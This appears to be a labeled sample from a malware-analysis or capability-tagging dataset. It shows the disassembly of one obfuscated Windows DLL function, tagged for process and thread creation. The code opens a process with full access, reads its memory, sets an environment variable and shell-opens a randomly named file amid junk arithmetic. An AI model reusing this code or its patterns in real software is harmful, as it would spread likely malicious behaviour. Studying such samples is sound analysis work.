Function at 0x10003430
Capabilities:
Create process on windows
Create thread
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x598
mov eax, dword [0x10026470]
xor eax, ebp
mov dword [ebp - 0x18], eax
push esi
push edi
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x128], str.vestavluocshttfaeg
mov eax, dword [0x1002882c]
and eax, 0x80000001
jns 0x1000346a
dec eax
or eax, 0xfffffffe
inc eax
mov ecx, 0x24
sub ecx, eax
mov edx, dword [0x1002882c]
imul edx, edx, 0x48
lea eax, [ecx + edx - 0x1b]
mov dword [0x100273fc], eax
mov ecx, 0xa
mov esi, str.KSXUsRAGsbzBtETgakbuqwtkcgkabjtrdddxzxchk
lea edi, [ebp - 0x120]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0xd9
push 0
lea ecx, [ebp - 0xf5]
push ecx
call fcn.1000ec50
add esp, 0xc
lea edx, [ebp - 0x120]
push edx
call sym.bazaggdgz.dll_mxpaprinlvpwojez
add esp, 4
push 0x10027410
push 0
push 0
push 0x10002420
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x100287c8], eax
push 0x3e8
mov eax, dword [0x100287c8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x104
lea ecx, [ebp - 0x558]
push ecx
push 0x10000000
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx edx, byte [0x10027405]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x558]
push eax
push 0x10028830
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x558]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.IndexerVolumeGuid
lea edx, [ebp - 0x558]
push edx
push str._s_s
lea eax, [ebp - 0x558]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x10028830
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
mov ecx, dword [0x100287c0]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x100035ab
mov dword [ebp - 0x14], 0
push 0x102
push 0
lea edx, [ebp - 0x450]
push edx
call fcn.1000ec50
add esp, 0xc
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x450]
push edx
call sym.bazaggdgz.dll_qanyctagypkashp
add esp, 0xc
mov dword [ebp - 0x10], 5
mov eax, dword [ebp - 0x10]
cmp eax, dword [0x10027410]
jbe 0x100035ee
movzx ecx, byte [ebp - 0x350]
cmp ecx, dword [0x10027410]
jbe 0x100035ee
mov edx, dword [0x10027410]
mov dword [ebp - 0x574], edx
mov dword [ebp - 0x570], 0
fild qword [ebp - 0x574]
fstp qword [0x10027408]
mov dword [ebp - 0x578], 0x10028830
mov eax, dword [ebp - 0x578]
add eax, 1
mov dword [ebp - 0x57c], eax
mov ecx, dword [ebp - 0x578]
mov dl, byte [ecx]
mov byte [ebp - 0x57d], dl
add dword [ebp - 0x578], 1
cmp byte [ebp - 0x57d], 0
jne 0x10003607
mov eax, dword [ebp - 0x578]
sub eax, dword [ebp - 0x57c]
mov dword [ebp - 0x584], eax
mov ecx, dword [ebp - 0x584]
mov dword [ebp - 0x138], ecx
fld dword [0x100273f4]
fdiv qword [0x10021458]
fstp dword [0x100273f8]
fld dword [0x100273f4]
sub esp, 8
fld qword [0x10027408]
fstp qword [esp]
fstp qword [ebp - 0x58c]
call fcn.10018520
add esp, 8
fld qword [ebp - 0x58c]
fxch st(1)
call fcn.100184fa
fmul qword [0x10027408]
fstp qword [0x10027408]
lea edx, [ebp - 0x558]
push edx
call sym.bazaggdgz.dll_ogwtmfizjbvj
add esp, 4
mov eax, dword [0x1002882c]
imul eax, eax, 3
mov ecx, dword [0x1002882c]
imul ecx, ecx, 0x55
lea edx, [eax + ecx - 0x356]
mov dword [0x100273fc], edx
push 0xc8
call fcn.10007ace
add esp, 4
mov dword [ebp - 0x564], eax
mov eax, dword [ebp - 0x564]
mov dword [0x10028d54], eax
push 0x64
push 0x100286b8
call fcn.10002390
add esp, 8
test eax, eax
jne 0x10003707
push 0x10027410
push 0x64
mov ecx, dword [0x10028d54]
push ecx
push 0x100286b8
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x344], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x124], 0x2710
mov dword [ebp - 0x134], 0x2710
mov edx, dword [ebp - 0x124]
push edx
call fcn.10007ace
add esp, 4
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x55c], 0
jmp 0x10003768
mov ecx, dword [ebp - 0x55c]
add ecx, 1
mov dword [ebp - 0x55c], ecx
mov edx, dword [ebp - 0x55c]
cmp edx, dword [ebp - 0x124]
jae 0x100037d2
mov eax, dword [ebp - 0x344]
add eax, 1
mov dword [ebp - 0x344], eax
mov dword [ebp - 0x560], 0
jmp 0x100037a0
mov ecx, dword [ebp - 0x560]
add ecx, 1
mov dword [ebp - 0x560], ecx
mov edx, dword [ebp - 0x560]
cmp edx, dword [ebp - 0x134]
jae 0x100037d0
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
xor ecx, 0xff
mov edx, dword [ebp - 0x128]
add edx, dword [ebp - 0x560]
mov byte [edx], cl
jmp 0x10003791
jmp 0x10003759
push 0x14
call fcn.10009352
add esp, 4
mov dword [ebp - 0x56c], eax
mov eax, dword [ebp - 0x56c]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov dword [ecx], 4
mov edx, dword [ebp - 8]
mov dword [edx + 8], 7
mov eax, dword [ebp - 8]
mov dword [eax + 0x10], 1
movzx ecx, byte [0x10027405]
mov edx, dword [ebp - 8]
mov dword [edx + 0xc], ecx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_FlashWindowEx]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 0x12c], eax
mov eax, dword [0x100287cc]
cdq
mov ecx, 0x34d
idiv ecx
add edx, 0xd1a
je 0x1000385c
mov eax, dword [0x100273fc]
cdq
mov ecx, 0x2176
idiv ecx
mov eax, dword [0x100273fc]
sub eax, edx
mov dword [0x100273fc], eax
jmp 0x10003866
mov dword [0x100273fc], 0
fld dword [0x100273f8]
fsub dword [0x100273f4]
fstp dword [ebp - 0x590]
fld dword [ebp - 0x590]
push ecx
fstp dword [esp]
call fcn.10001070
add esp, 4
fld qword [0x10021450]
fucompp
fnstsw ax
test ah, 0x44
jp 0x100038b4
fild dword [0x100273fc]
fstp dword [0x100273f8]
mov ecx, dword [0x100273fc]
add ecx, 1
mov dword [0x100273fc], ecx
push 0xa
call sym.bazaggdgz.dll_OPwxzVNWyYktsok
add esp, 4
mov dword [0x100287c0], eax
mov edx, dword [0x100287c0]
mov byte [edx], 0x22
mov eax, dword [0x100287c0]
add eax, 1
mov dword [0x100287c0], eax
cmp dword [0x10027400], 0
jle 0x10003927
mov ecx, dword [0x100287c0]
mov byte [ecx], 0x2e
mov edx, dword [0x100287c0]
add edx, 1
mov dword [0x100287c0], edx
mov eax, dword [0x100287c0]
mov byte [eax], 0x20
mov ecx, dword [0x100287c0]
add ecx, 1
mov dword [0x100287c0], ecx
mov edx, dword [0x100287c0]
mov byte [edx], 0x2e
mov eax, dword [0x100287c0]
add eax, 1
mov dword [0x100287c0], eax
mov ecx, dword [0x100287c0]
mov byte [ecx], 0
mov edx, dword [0x100287c0]
add edx, 1
mov dword [0x100287c0], edx
push str.TOJvsKNmQsgfE
call fcn.10002550
add esp, 4
mov dword [0x10028938], eax
push 0x10028830
lea eax, [ebp - 0x558]
push eax
push str._S__S
push 0x104
lea ecx, [ebp - 0x340]
push ecx
call fcn.10007e04
add esp, 0x14
lea edx, [ebp - 0x340]
push edx
push 0x10021280
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 2
push 0x100286b8
push 1
push str.fgWScfXtzmKYxi
call fcn.10002290
add esp, 0x10
push sym.bazaggdgz.dll__pqdtaaxujyjyfb_12
mov eax, dword [0x10028d58]
push eax
call dword [sym.imp.USER32.dll_EnumPropsW]
push 0x1d
lea ecx, [ebp - 0x138]
push ecx
push 0
push 0
call fcn.10002d60
add esp, 0x10
push 0
push 0
push 0
push str.fvnkkpbcvszfisqnjflyls.bmp
push str.Open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], 0
fild qword [ebp - 0x598]
fld qword [0x10027408]
fucompp
fnstsw ax
test ah, 0x44
jp 0x10003a12
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.10007df5
mov esp, ebp
pop ebp
ret